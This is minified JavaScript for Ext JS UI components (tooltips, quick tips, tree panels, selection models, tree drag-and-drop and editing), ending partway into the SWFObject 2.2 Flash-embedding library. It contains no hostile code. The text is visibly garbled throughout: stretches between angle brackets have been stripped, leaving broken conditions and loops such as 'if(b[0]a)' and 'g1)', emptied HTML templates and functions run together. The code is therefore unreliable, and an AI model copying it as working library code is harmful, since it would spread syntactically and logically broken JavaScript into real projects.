Ext.util.Observable());Ext.Tip=Ext.extend(Ext.Panel,{minWidth:40,maxWidth:300,shadow:"sides",defaultAlign:"tl-bl?",autoRender:true,quickShowInterval:250,frame:true,hidden:true,baseCls:"x-tip",floating:{shadow:true,shim:true,useDisplay:true,constrain:false},autoHeight:true,closeAction:"hide",initComponent:function(){Ext.Tip.superclass.initComponent.call(this);if(this.closable&&!this.title){this.elements+=",header"}},afterRender:function(){Ext.Tip.superclass.afterRender.call(this);if(this.closable){this.addTool({id:"close",handler:this[this.closeAction],scope:this})}},showAt:function(a){Ext.Tip.superclass.show.call(this);if(this.measureWidth!==false&&(!this.initialConfig||typeof this.initialConfig.width!="number")){this.doAutoWidth()}if(this.constrainPosition){a=this.el.adjustForConstraints(a)}this.setPagePosition(a[0],a[1])},doAutoWidth:function(a){a=a||0;var b=this.body.getTextWidth();if(this.title){b=Math.max(b,this.header.child("span").getTextWidth(this.title))}b+=this.getFrameWidth()+(this.closable?20:0)+this.body.getPadding("lr")+a;this.setWidth(b.constrain(this.minWidth,this.maxWidth));if(Ext.isIE7&&!this.repainted){this.el.repaint();this.repainted=true}},showBy:function(a,b){if(!this.rendered){this.render(Ext.getBody())}this.showAt(this.el.getAlignToXY(a,b||this.defaultAlign))},initDraggable:function(){this.dd=new Ext.Tip.DD(this,typeof this.draggable=="boolean"?null:this.draggable);this.header.addClass("x-tip-draggable")}});Ext.reg("tip",Ext.Tip);Ext.Tip.DD=function(b,a){Ext.apply(this,a);this.tip=b;Ext.Tip.DD.superclass.constructor.call(this,b.el.id,"WindowDD-"+b.id);this.setHandleElId(b.header.id);this.scroll=false};Ext.extend(Ext.Tip.DD,Ext.dd.DD,{moveOnly:true,scroll:false,headerOffsets:[100,25],startDrag:function(){this.tip.el.disableShadow()},endDrag:function(a){this.tip.el.enableShadow(true)}});Ext.ToolTip=Ext.extend(Ext.Tip,{showDelay:500,hideDelay:200,dismissDelay:5000,trackMouse:false,anchorToTarget:true,anchorOffset:0,targetCounter:0,constrainPosition:false,initComponent:function(){Ext.ToolTip.superclass.initComponent.call(this);this.lastActive=new Date();this.initTarget(this.target);this.origAnchor=this.anchor},onRender:function(b,a){Ext.ToolTip.superclass.onRender.call(this,b,a);this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl=this.el.createChild({cls:"x-tip-anchor "+this.anchorCls})},afterRender:function(){Ext.ToolTip.superclass.afterRender.call(this);this.anchorEl.setStyle("z-index",this.el.getZIndex()+1).setVisibilityMode(Ext.Element.DISPLAY)},initTarget:function(c){var a;if((a=Ext.get(c))){if(this.target){var b=Ext.get(this.target);this.mun(b,"mouseover",this.onTargetOver,this);this.mun(b,"mouseout",this.onTargetOut,this);this.mun(b,"mousemove",this.onMouseMove,this)}this.mon(a,{mouseover:this.onTargetOver,mouseout:this.onTargetOut,mousemove:this.onMouseMove,scope:this});this.target=a}if(this.anchor){this.anchorTarget=this.target}},onMouseMove:function(b){var a=this.delegate?b.getTarget(this.delegate):this.triggerElement=true;if(a){this.targetXY=b.getXY();if(a===this.triggerElement){if(!this.hidden&&this.trackMouse){this.setPagePosition(this.getTargetXY())}}else{this.hide();this.lastActive=new Date(0);this.onTargetOver(b)}}else{if(!this.closable&&this.isVisible()){this.hide()}}},getTargetXY:function(){if(this.delegate){this.anchorTarget=this.triggerElement}if(this.anchor){this.targetCounter++;var c=this.getOffsets(),m=(this.anchorToTarget&&!this.trackMouse)?this.el.getAlignToXY(this.anchorTarget,this.getAnchorAlign()):this.targetXY,a=Ext.lib.Dom.getViewWidth()-5,h=Ext.lib.Dom.getViewHeight()-5,i=document.documentElement,e=document.body,l=(i.scrollLeft||e.scrollLeft||0)+5,k=(i.scrollTop||e.scrollTop||0)+5,b=[m[0]+c[0],m[1]+c[1]],g=this.getSize();this.anchorEl.removeClass(this.anchorCls);if(this.targetCounter<2){if(b[0]a){if(this.anchorToTarget){this.defaultAlign="r-l";if(this.mouseOffset){this.mouseOffset[0]*=-1}}this.anchor="right";return this.getTargetXY()}if(b[1]h){if(this.anchorToTarget){this.defaultAlign="b-t";if(this.mouseOffset){this.mouseOffset[1]*=-1}}this.anchor="bottom";return this.getTargetXY()}}this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl.addClass(this.anchorCls);this.targetCounter=0;return b}else{var d=this.getMouseOffset();return[this.targetXY[0]+d[0],this.targetXY[1]+d[1]]}},getMouseOffset:function(){var a=this.anchor?[0,0]:[15,18];if(this.mouseOffset){a[0]+=this.mouseOffset[0];a[1]+=this.mouseOffset[1]}return a},getAnchorPosition:function(){if(this.anchor){this.tipAnchor=this.anchor.charAt(0)}else{var a=this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!a){throw"AnchorTip.defaultAlign is invalid"}this.tipAnchor=a[1].charAt(0)}switch(this.tipAnchor){case"t":return"top";case"b":return"bottom";case"r":return"right"}return"left"},getAnchorAlign:function(){switch(this.anchor){case"top":return"tl-bl";case"left":return"tl-tr";case"right":return"tr-tl";default:return"bl-tl"}},getOffsets:function(){var b,a=this.getAnchorPosition().charAt(0);if(this.anchorToTarget&&!this.trackMouse){switch(a){case"t":b=[0,9];break;case"b":b=[0,-13];break;case"r":b=[-13,0];break;default:b=[9,0];break}}else{switch(a){case"t":b=[-15-this.anchorOffset,30];break;case"b":b=[-19-this.anchorOffset,-13-this.el.dom.offsetHeight];break;case"r":b=[-15-this.el.dom.offsetWidth,-13-this.anchorOffset];break;default:b=[25,-13-this.anchorOffset];break}}var c=this.getMouseOffset();b[0]+=c[0];b[1]+=c[1];return b},onTargetOver:function(b){if(this.disabled||b.within(this.target.dom,true)){return}var a=b.getTarget(this.delegate);if(a){this.triggerElement=a;this.clearTimer("hide");this.targetXY=b.getXY();this.delayShow()}},delayShow:function(){if(this.hidden&&!this.showTimer){if(this.lastActive.getElapsed()=c){d=c-b-5}}return{x:a,y:d}},beforeDestroy:function(){this.clearTimers();Ext.destroy(this.anchorEl);delete this.anchorEl;delete this.target;delete this.anchorTarget;delete this.triggerElement;Ext.ToolTip.superclass.beforeDestroy.call(this)},onDestroy:function(){Ext.getDoc().un("mousedown",this.onDocMouseDown,this);Ext.ToolTip.superclass.onDestroy.call(this)}});Ext.reg("tooltip",Ext.ToolTip);Ext.QuickTip=Ext.extend(Ext.ToolTip,{interceptTitles:false,tagConfig:{namespace:"ext",attribute:"qtip",width:"qwidth",target:"target",title:"qtitle",hide:"hide",cls:"qclass",align:"qalign",anchor:"anchor"},initComponent:function(){this.target=this.target||Ext.getDoc();this.targets=this.targets||{};Ext.QuickTip.superclass.initComponent.call(this)},register:function(e){var h=Ext.isArray(e)?e:arguments;for(var g=0,a=h.length;g1){var d=function(i,h){if(i&&h){var k=h.findChild(a,b);if(k){k.select();if(g){g(true,k)}}else{if(g){g(false,k)}}}else{if(g){g(false,k)}}};this.expandPath(c.join(this.pathSeparator),a,d)}else{this.root.select();if(g){g(true,this.root)}}},getTreeEl:function(){return this.body},onRender:function(b,a){Ext.tree.TreePanel.superclass.onRender.call(this,b,a);this.el.addClass("x-tree");this.innerCt=this.body.createChild({tag:"ul",cls:"x-tree-root-ct "+(this.useArrows?"x-tree-arrows":this.lines?"x-tree-lines":"x-tree-no-lines")})},initEvents:function(){Ext.tree.TreePanel.superclass.initEvents.call(this);if(this.containerScroll){Ext.dd.ScrollManager.register(this.body)}if((this.enableDD||this.enableDrop)&&!this.dropZone){this.dropZone=new Ext.tree.TreeDropZone(this,this.dropConfig||{ddGroup:this.ddGroup||"TreeDD",appendOnly:this.ddAppendOnly===true})}if((this.enableDD||this.enableDrag)&&!this.dragZone){this.dragZone=new Ext.tree.TreeDragZone(this,this.dragConfig||{ddGroup:this.ddGroup||"TreeDD",scroll:this.ddScroll})}this.getSelectionModel().init(this)},afterRender:function(){Ext.tree.TreePanel.superclass.afterRender.call(this);this.renderRoot()},beforeDestroy:function(){if(this.rendered){Ext.dd.ScrollManager.unregister(this.body);Ext.destroy(this.dropZone,this.dragZone)}this.destroyRoot();Ext.destroy(this.loader);this.nodeHash=this.root=this.loader=null;Ext.tree.TreePanel.superclass.beforeDestroy.call(this)},destroyRoot:function(){if(this.root&&this.root.destroy){this.root.destroy(true)}}});Ext.tree.TreePanel.nodeTypes={};Ext.reg("treepanel",Ext.tree.TreePanel);Ext.tree.TreeEventModel=function(a){this.tree=a;this.tree.on("render",this.initEvents,this)};Ext.tree.TreeEventModel.prototype={initEvents:function(){var a=this.tree;if(a.trackMouseOver!==false){a.mon(a.innerCt,{scope:this,mouseover:this.delegateOver,mouseout:this.delegateOut})}a.mon(a.getTreeEl(),{scope:this,click:this.delegateClick,dblclick:this.delegateDblClick,contextmenu:this.delegateContextMenu})},getNode:function(b){var a;if(a=b.getTarget(".x-tree-node-el",10)){var c=Ext.fly(a,"_treeEvents").getAttribute("tree-node-id","ext");if(c){return this.tree.getNodeById(c)}}return null},getNodeTarget:function(b){var a=b.getTarget(".x-tree-node-icon",1);if(!a){a=b.getTarget(".x-tree-node-el",6)}return a},delegateOut:function(b,a){if(!this.beforeEvent(b)){return}if(b.getTarget(".x-tree-ec-icon",1)){var c=this.getNode(b);this.onIconOut(b,c);if(c==this.lastEcOver){delete this.lastEcOver}}if((a=this.getNodeTarget(b))&&!b.within(a,true)){this.onNodeOut(b,this.getNode(b))}},delegateOver:function(b,a){if(!this.beforeEvent(b)){return}if(Ext.isGecko&&!this.trackingDoc){Ext.getBody().on("mouseover",this.trackExit,this);this.trackingDoc=true}if(this.lastEcOver){this.onIconOut(b,this.lastEcOver);delete this.lastEcOver}if(b.getTarget(".x-tree-ec-icon",1)){this.lastEcOver=this.getNode(b);this.onIconOver(b,this.lastEcOver)}if(a=this.getNodeTarget(b)){this.onNodeOver(b,this.getNode(b))}},trackExit:function(a){if(this.lastOverNode){if(this.lastOverNode.ui&&!a.within(this.lastOverNode.ui.getEl())){this.onNodeOut(a,this.lastOverNode)}delete this.lastOverNode;Ext.getBody().un("mouseover",this.trackExit,this);this.trackingDoc=false}},delegateClick:function(b,a){if(this.beforeEvent(b)){if(b.getTarget("input[type=checkbox]",1)){this.onCheckboxClick(b,this.getNode(b))}else{if(b.getTarget(".x-tree-ec-icon",1)){this.onIconClick(b,this.getNode(b))}else{if(this.getNodeTarget(b)){this.onNodeClick(b,this.getNode(b))}}}}else{this.checkContainerEvent(b,"click")}},delegateDblClick:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeDblClick(b,this.getNode(b))}}else{this.checkContainerEvent(b,"dblclick")}},delegateContextMenu:function(b,a){if(this.beforeEvent(b)){if(this.getNodeTarget(b)){this.onNodeContextMenu(b,this.getNode(b))}}else{this.checkContainerEvent(b,"contextmenu")}},checkContainerEvent:function(b,a){if(this.disabled){b.stopEvent();return false}this.onContainerEvent(b,a)},onContainerEvent:function(b,a){this.tree.fireEvent("container"+a,this.tree,b)},onNodeClick:function(b,a){a.ui.onClick(b)},onNodeOver:function(b,a){this.lastOverNode=a;a.ui.onOver(b)},onNodeOut:function(b,a){a.ui.onOut(b)},onIconOver:function(b,a){a.ui.addClass("x-tree-ec-over")},onIconOut:function(b,a){a.ui.removeClass("x-tree-ec-over")},onIconClick:function(b,a){a.ui.ecClick(b)},onCheckboxClick:function(b,a){a.ui.onCheckChange(b)},onNodeDblClick:function(b,a){a.ui.onDblClick(b)},onNodeContextMenu:function(b,a){a.ui.onContextMenu(b)},beforeEvent:function(b){var a=this.getNode(b);if(this.disabled||!a||!a.ui){b.stopEvent();return false}return true},disable:function(){this.disabled=true},enable:function(){this.disabled=false}};Ext.tree.DefaultSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNode=null;this.addEvents("selectionchange","beforeselect");Ext.apply(this,a);Ext.tree.DefaultSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){this.select(a)},select:function(c,a){if(!Ext.fly(c.ui.wrap).isVisible()&&a){return a.call(this,c)}var b=this.selNode;if(c==b){c.ui.onSelectedChange(true)}else{if(this.fireEvent("beforeselect",this,c,b)!==false){if(b&&b.ui){b.ui.onSelectedChange(false)}this.selNode=c;c.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,c,b)}}return c},unselect:function(b,a){if(this.selNode==b){this.clearSelections(a)}},clearSelections:function(a){var b=this.selNode;if(b){b.ui.onSelectedChange(false);this.selNode=null;if(a!==true){this.fireEvent("selectionchange",this,null)}}return b},getSelectedNode:function(){return this.selNode},isSelected:function(a){return this.selNode==a},selectPrevious:function(a){if(!(a=a||this.selNode||this.lastSelNode)){return null}var c=a.previousSibling;if(c){if(!c.isExpanded()||c.childNodes.length<1){return this.select(c,this.selectPrevious)}else{var b=c.lastChild;while(b&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()&&b.childNodes.length>0){b=b.lastChild}return this.select(b,this.selectPrevious)}}else{if(a.parentNode&&(this.tree.rootVisible||!a.parentNode.isRoot)){return this.select(a.parentNode,this.selectPrevious)}}return null},selectNext:function(b){if(!(b=b||this.selNode||this.lastSelNode)){return null}if(b.firstChild&&b.isExpanded()&&Ext.fly(b.ui.wrap).isVisible()){return this.select(b.firstChild,this.selectNext)}else{if(b.nextSibling){return this.select(b.nextSibling,this.selectNext)}else{if(b.parentNode){var a=null;b.parentNode.bubble(function(){if(this.nextSibling){a=this.getOwnerTree().selModel.select(this.nextSibling,this.selectNext);return false}});return a}}}return null},onKeyDown:function(c){var b=this.selNode||this.lastSelNode;var d=this;if(!b){return}var a=c.getKey();switch(a){case c.DOWN:c.stopEvent();this.selectNext();break;case c.UP:c.stopEvent();this.selectPrevious();break;case c.RIGHT:c.preventDefault();if(b.hasChildNodes()){if(!b.isExpanded()){b.expand()}else{if(b.firstChild){this.select(b.firstChild,c)}}}break;case c.LEFT:c.preventDefault();if(b.hasChildNodes()&&b.isExpanded()){b.collapse()}else{if(b.parentNode&&(this.tree.rootVisible||b.parentNode!=this.tree.getRootNode())){this.select(b.parentNode,c)}}break}}});Ext.tree.MultiSelectionModel=Ext.extend(Ext.util.Observable,{constructor:function(a){this.selNodes=[];this.selMap={};this.addEvents("selectionchange");Ext.apply(this,a);Ext.tree.MultiSelectionModel.superclass.constructor.call(this)},init:function(a){this.tree=a;a.mon(a.getTreeEl(),"keydown",this.onKeyDown,this);a.on("click",this.onNodeClick,this)},onNodeClick:function(a,b){if(b.ctrlKey&&this.isSelected(a)){this.unselect(a)}else{this.select(a,b,b.ctrlKey)}},select:function(a,c,b){if(b!==true){this.clearSelections(true)}if(this.isSelected(a)){this.lastSelNode=a;return a}this.selNodes.push(a);this.selMap[a.id]=a;this.lastSelNode=a;a.ui.onSelectedChange(true);this.fireEvent("selectionchange",this,this.selNodes);return a},unselect:function(b){if(this.selMap[b.id]){b.ui.onSelectedChange(false);var c=this.selNodes;var a=c.indexOf(b);if(a!=-1){this.selNodes.splice(a,1)}delete this.selMap[b.id];this.fireEvent("selectionchange",this,this.selNodes)}},clearSelections:function(b){var d=this.selNodes;if(d.length>0){for(var c=0,a=d.length;c0},isExpandable:function(){return this.attributes.expandable||this.hasChildNodes()},appendChild:function(e){var g=false;if(Ext.isArray(e)){g=e}else{if(arguments.length>1){g=arguments}}if(g){for(var d=0,a=g.length;d0){var g=d?function(){e.apply(d,arguments)}:e;c.sort(g);for(var b=0;b
    ','',this.indentMarkup,"",'','',g?('':"/>")):"",'',e.text,"
    ",'',""].join("");if(m!==true&&e.nextSibling&&(b=e.nextSibling.ui.getEl())){this.wrap=Ext.DomHelper.insertHtml("beforeBegin",b,d)}else{this.wrap=Ext.DomHelper.insertHtml("beforeEnd",k,d)}this.elNode=this.wrap.childNodes[0];this.ctNode=this.wrap.childNodes[1];var i=this.elNode.childNodes;this.indentNode=i[0];this.ecNode=i[1];this.iconNode=i[2];var h=3;if(g){this.checkbox=i[3];this.checkbox.defaultChecked=this.checkbox.checked;h++}this.anchor=i[h];this.textNode=i[h].firstChild},getHref:function(a){return Ext.isEmpty(a)?(Ext.isGecko?"":"#"):a},getAnchor:function(){return this.anchor},getTextEl:function(){return this.textNode},getIconEl:function(){return this.iconNode},isChecked:function(){return this.checkbox?this.checkbox.checked:false},updateExpandIcon:function(){if(this.rendered){var g=this.node,d,c,a=g.isLast()?"x-tree-elbow-end":"x-tree-elbow",e=g.hasChildNodes();if(e||g.attributes.expandable){if(g.expanded){a+="-minus";d="x-tree-node-collapsed";c="x-tree-node-expanded"}else{a+="-plus";d="x-tree-node-expanded";c="x-tree-node-collapsed"}if(this.wasLeaf){this.removeClass("x-tree-node-leaf");this.wasLeaf=false}if(this.c1!=d||this.c2!=c){Ext.fly(this.elNode).replaceClass(d,c);this.c1=d;this.c2=c}}else{if(!this.wasLeaf){Ext.fly(this.elNode).replaceClass("x-tree-node-expanded","x-tree-node-collapsed");delete this.c1;delete this.c2;this.wasLeaf=true}}var b="x-tree-ec-icon "+a;if(this.ecc!=b){this.ecNode.className=b;this.ecc=b}}},onIdChange:function(a){if(this.rendered){this.elNode.setAttribute("ext:tree-node-id",a)}},getChildIndent:function(){if(!this.childIndent){var a=[],b=this.node;while(b){if(!b.isRoot||(b.isRoot&&b.ownerTree.rootVisible)){if(!b.isLast()){a.unshift('')}else{a.unshift('')}}b=b.parentNode}this.childIndent=a.join("")}return this.childIndent},renderIndent:function(){if(this.rendered){var a="",b=this.node.parentNode;if(b){a=b.ui.getChildIndent()}if(this.indentMarkup!=a){this.indentNode.innerHTML=a;this.indentMarkup=a}this.updateExpandIcon()}},destroy:function(){if(this.elNode){Ext.dd.Registry.unregister(this.elNode.id)}Ext.each(["textnode","anchor","checkbox","indentNode","ecNode","iconNode","elNode","ctNode","wrap","holder"],function(a){if(this[a]){Ext.fly(this[a]).remove();delete this[a]}},this);delete this.node}});Ext.tree.RootTreeNodeUI=Ext.extend(Ext.tree.TreeNodeUI,{render:function(){if(!this.rendered){var a=this.node.ownerTree.innerCt.dom;this.node.expanded=true;a.innerHTML='
    ';this.wrap=this.ctNode=a.firstChild}},collapse:Ext.emptyFn,expand:Ext.emptyFn});Ext.tree.TreeLoader=function(a){this.baseParams={};Ext.apply(this,a);this.addEvents("beforeload","load","loadexception");Ext.tree.TreeLoader.superclass.constructor.call(this);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}};Ext.extend(Ext.tree.TreeLoader,Ext.util.Observable,{uiProviders:{},clearOnLoad:true,paramOrder:undefined,paramsAsHash:false,nodeParameter:"node",directFn:undefined,load:function(b,c,a){if(this.clearOnLoad){while(b.firstChild){b.removeChild(b.firstChild)}}if(this.doPreload(b)){this.runCallback(c,a||b,[b])}else{if(this.directFn||this.dataUrl||this.url){this.requestData(b,c,a||b)}}},doPreload:function(d){if(d.attributes.children){if(d.childNodes.length<1){var c=d.attributes.children;d.beginUpdate();for(var b=0,a=c.length;b-1){c=[]}for(var d=0,a=b.length;dv2){return c?-1:1}}return 0}},doSort:function(a){a.sort(this.sortFn)},updateSort:function(a,b){if(b.childrenRendered){this.doSort.defer(1,this,[b])}},updateSortParent:function(a){var b=a.parentNode;if(b&&b.childrenRendered){this.doSort.defer(1,this,[b])}}});if(Ext.dd.DropZone){Ext.tree.TreeDropZone=function(a,b){this.allowParentInsert=b.allowParentInsert||false;this.allowContainerDrop=b.allowContainerDrop||false;this.appendOnly=b.appendOnly||false;Ext.tree.TreeDropZone.superclass.constructor.call(this,a.getTreeEl(),b);this.tree=a;this.dragOverData={};this.lastInsertClass="x-tree-no-status"};Ext.extend(Ext.tree.TreeDropZone,Ext.dd.DropZone,{ddGroup:"TreeDD",expandDelay:1000,expandNode:function(a){if(a.hasChildNodes()&&!a.isExpanded()){a.expand(false,null,this.triggerCacheRefresh.createDelegate(this))}},queueExpand:function(a){this.expandProcId=this.expandNode.defer(this.expandDelay,this,[a])},cancelExpand:function(){if(this.expandProcId){clearTimeout(this.expandProcId);this.expandProcId=false}},isValidDropPoint:function(a,l,i,d,c){if(!a||!c){return false}var g=a.node;var h=c.node;if(!(g&&g.isTarget&&l)){return false}if(l=="append"&&g.allowChildren===false){return false}if((l=="above"||l=="below")&&(g.parentNode&&g.parentNode.allowChildren===false)){return false}if(h&&(g==h||h.contains(g))){return false}var b=this.dragOverData;b.tree=this.tree;b.target=g;b.data=c;b.point=l;b.source=i;b.rawEvent=d;b.dropNode=h;b.cancel=false;var k=this.tree.fireEvent("nodedragover",b);return b.cancel===false&&k!==false},getDropPoint:function(h,g,m){var o=g.node;if(o.isRoot){return o.allowChildren!==false?"append":false}var c=g.ddel;var p=Ext.lib.Dom.getY(c),k=p+c.offsetHeight;var i=Ext.lib.Event.getPageY(h);var l=o.allowChildren===false||o.isLeaf();if(this.appendOnly||o.parentNode.allowChildren===false){return l?false:"append"}var d=false;if(!this.allowParentInsert){d=o.hasChildNodes()&&o.isExpanded()}var a=(k-p)/(l?2:3);if(i>=p&&i<(p+a)){return"above"}else{if(!d&&(l||i>=k-a&&i<=k)){return"below"}else{return"append"}}},onNodeEnter:function(d,a,c,b){this.cancelExpand()},onContainerOver:function(a,c,b){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,c,b)){return this.dropAllowed}return this.dropNotAllowed},onNodeOver:function(b,i,h,g){var l=this.getDropPoint(h,b,i);var c=b.node;if(!this.expandProcId&&l=="append"&&c.hasChildNodes()&&!b.node.isExpanded()){this.queueExpand(c)}else{if(l!="append"){this.cancelExpand()}}var d=this.dropNotAllowed;if(this.isValidDropPoint(b,l,i,h,g)){if(l){var a=b.ddel;var k;if(l=="above"){d=b.node.isFirst()?"x-tree-drop-ok-above":"x-tree-drop-ok-between";k="x-tree-drag-insert-above"}else{if(l=="below"){d=b.node.isLast()?"x-tree-drop-ok-below":"x-tree-drop-ok-between";k="x-tree-drag-insert-below"}else{d="x-tree-drop-ok-append";k="x-tree-drag-append"}}if(this.lastInsertClass!=k){Ext.fly(a).replaceClass(this.lastInsertClass,k);this.lastInsertClass=k}}}return d},onNodeOut:function(d,a,c,b){this.cancelExpand();this.removeDropIndicators(d)},onNodeDrop:function(i,b,h,d){var a=this.getDropPoint(h,i,b);var g=i.node;g.ui.startDrop();if(!this.isValidDropPoint(i,a,b,h,d)){g.ui.endDrop();return false}var c=d.node||(b.getTreeNode?b.getTreeNode(d,g,a,h):null);return this.processDrop(g,d,a,b,h,c)},onContainerDrop:function(a,g,c){if(this.allowContainerDrop&&this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode,node:this.tree.getRootNode()},"append",a,g,c)){var d=this.tree.getRootNode();d.ui.startDrop();var b=c.node||(a.getTreeNode?a.getTreeNode(c,d,"append",g):null);return this.processDrop(d,c,"append",a,g,b)}return false},processDrop:function(k,h,b,a,i,d){var g={tree:this.tree,target:k,data:h,point:b,source:a,rawEvent:i,dropNode:d,cancel:!d,dropStatus:false};var c=this.tree.fireEvent("beforenodedrop",g);if(c===false||g.cancel===true||!g.dropNode){k.ui.endDrop();return g.dropStatus}k=g.target;if(b=="append"&&!k.isExpanded()){k.expand(false,null,function(){this.completeDrop(g)}.createDelegate(this))}else{this.completeDrop(g)}return true},completeDrop:function(h){var d=h.dropNode,e=h.point,c=h.target;if(!Ext.isArray(d)){d=[d]}var g;for(var b=0,a=d.length;bd.offsetLeft){e.scrollLeft=d.offsetLeft}var a=Math.min(this.maxWidth,(e.clientWidth>20?e.clientWidth:e.offsetWidth)-Math.max(0,d.offsetLeft-e.scrollLeft)-5);this.setSize(a,"")},triggerEdit:function(a,c){this.completeEdit();if(a.attributes.editable!==false){this.editNode=a;if(this.tree.autoScroll){Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body)}var b=a.text||"";if(!Ext.isGecko&&Ext.isEmpty(a.text)){a.setText(" ")}this.autoEditTimer=this.startEdit.defer(this.editDelay,this,[a.ui.textNode,b]);return false}},bindScroll:function(){this.tree.getTreeEl().on("scroll",this.cancelEdit,this)},beforeNodeClick:function(a,b){clearTimeout(this.autoEditTimer);if(this.tree.getSelectionModel().isSelected(a)){b.stopEvent();return this.triggerEdit(a)}},onNodeDblClick:function(a,b){clearTimeout(this.autoEditTimer)},updateNode:function(a,b){this.tree.getTreeEl().un("scroll",this.cancelEdit,this);this.editNode.setText(b)},onHide:function(){Ext.tree.TreeEditor.superclass.onHide.call(this);if(this.editNode){this.editNode.ui.focus.defer(50,this.editNode.ui)}},onSpecialKey:function(c,b){var a=b.getKey();if(a==b.ESC){b.stopEvent();this.cancelEdit()}else{if(a==b.ENTER&&!b.hasModifier()){b.stopEvent();this.completeEdit()}}},onDestroy:function(){clearTimeout(this.autoEditTimer);Ext.tree.TreeEditor.superclass.onDestroy.call(this);var a=this.tree;a.un("beforeclick",this.beforeNodeClick,this);a.un("dblclick",this.onNodeDblClick,this)}}); -/* SWFObject v2.2 - is released under the MIT License -*/ -var swfobject=function(){var F="undefined",t="object",U="Shockwave Flash",Y="ShockwaveFlash.ShockwaveFlash",s="application/x-shockwave-flash",T="SWFObjectExprInst",z="onreadystatechange",Q=window,l=document,v=navigator,V=false,W=[i],q=[],P=[],K=[],n,S,G,D,L=false,a=false,p,I,o=true,O=function(){var ac=typeof l.getElementById!=F&&typeof l.getElementsByTagName!=F&&typeof l.createElement!=F,aj=v.userAgent.toLowerCase(),aa=v.platform.toLowerCase(),ag=aa?(/win/).test(aa):/win/.test(aj),ae=aa?(/mac/).test(aa):/mac/.test(aj),ah=/webkit/.test(aj)?parseFloat(aj.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,Z=!+"\v1",ai=[0,0,0],ad=null;if(typeof v.plugins!=F&&typeof v.plugins[U]==t){ad=v.plugins[U].description;if(ad&&!(typeof v.mimeTypes!=F&&v.mimeTypes[s]&&!v.mimeTypes[s].enabledPlugin)){V=true;Z=false;ad=ad.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ai[0]=parseInt(ad.replace(/^(.*)\..*$/,"$1"),10);ai[1]=parseInt(ad.replace(/^.*\.(.*)\s.*$/,"$1"),10);ai[2]=/[a-zA-Z]/.test(ad)?parseInt(ad.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof Q.ActiveXObject!=F){try{var af=new ActiveXObject(Y);if(af){ad=af.GetVariable("$version");if(ad){Z=true;ad=ad.split(" ")[1].split(",");ai=[parseInt(ad[0],10),parseInt(ad[1],10),parseInt(ad[2],10)]}}}catch(ab){}}}return{w3:ac,pv:ai,wk:ah,ie:Z,win:ag,mac:ae}}(),m=function(){if(!O.w3){return}if((typeof l.readyState!=F&&l.readyState=="complete")||(typeof l.readyState==F&&(l.getElementsByTagName("body")[0]||l.body))){g()}if(!L){if(typeof l.addEventListener!=F){l.addEventListener("DOMContentLoaded",g,false)}if(O.ie&&O.win){l.attachEvent(z,function(){if(l.readyState=="complete"){l.detachEvent(z,arguments.callee);g()}});if(Q==top){(function(){if(L){return}try{l.documentElement.doScroll("left")}catch(Z){setTimeout(arguments.callee,0);return}g()})()}}if(O.wk){(function(){if(L){return}if(!(/loaded|complete/).test(l.readyState)){setTimeout(arguments.callee,0);return}g()})()}u(g)}}();function g(){if(L){return}try{var ab=l.getElementsByTagName("body")[0].appendChild(E("span"));ab.parentNode.removeChild(ab)}catch(ac){return}L=true;var Z=W.length;for(var aa=0;aa0){for(var ah=0;ah0){var ag=c(aa);if(ag){if(H(q[ah].swfVersion)&&!(O.wk&&O.wk<312)){y(aa,true);if(ad){ac.success=true;ac.ref=B(aa);ad(ac)}}else{if(q[ah].expressInstall&&C()){var ak={};ak.data=q[ah].expressInstall;ak.width=ag.getAttribute("width")||"0";ak.height=ag.getAttribute("height")||"0";if(ag.getAttribute("class")){ak.styleclass=ag.getAttribute("class")}if(ag.getAttribute("align")){ak.align=ag.getAttribute("align")}var aj={};var Z=ag.getElementsByTagName("param");var ae=Z.length;for(var af=0;af'}}ac.outerHTML='"+ah+"";P[P.length]=ak.id;Z=c(ak.id)}else{var ab=E(t);ab.setAttribute("type",s);for(var ae in ak){if(ak[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="styleclass"){ab.setAttribute("class",ak[ae])}else{if(ae.toLowerCase()!="classid"){ab.setAttribute(ae,ak[ae])}}}}for(var ad in ai){if(ai[ad]!=Object.prototype[ad]&&ad.toLowerCase()!="movie"){e(ab,ad,ai[ad])}}ac.parentNode.replaceChild(ab,ac);Z=ab}}return Z}function e(ab,Z,aa){var ac=E("param");ac.setAttribute("name",Z);ac.setAttribute("value",aa);ab.appendChild(ac)}function A(aa){var Z=c(aa);if(Z&&Z.nodeName=="OBJECT"){if(O.ie&&O.win){Z.style.display="none";(function(){if(Z.readyState==4){b(aa)}else{setTimeout(arguments.callee,10)}})()}else{Z.parentNode.removeChild(Z)}}}function b(ab){var aa=c(ab);if(aa){for(var Z in aa){if(typeof aa[Z]=="function"){aa[Z]=null}}aa.parentNode.removeChild(aa)}}function c(ab){var Z=null;try{Z=l.getElementById(ab)}catch(aa){}return Z}function E(Z){return l.createElement(Z)}function k(ab,Z,aa){ab.attachEvent(Z,aa);K[K.length]=[ab,Z,aa]}function H(ab){var aa=O.pv,Z=ab.split(".");Z[0]=parseInt(Z[0],10);Z[1]=parseInt(Z[1],10)||0;Z[2]=parseInt(Z[2],10)||0;return(aa[0]>Z[0]||(aa[0]==Z[0]&&aa[1]>Z[1])||(aa[0]==Z[0]&&aa[1]==Z[1]&&aa[2]>=Z[2]))?true:false}function x(ae,aa,af,ad){if(O.ie&&O.mac){return}var ac=l.getElementsByTagName("head")[0];if(!ac){return}var 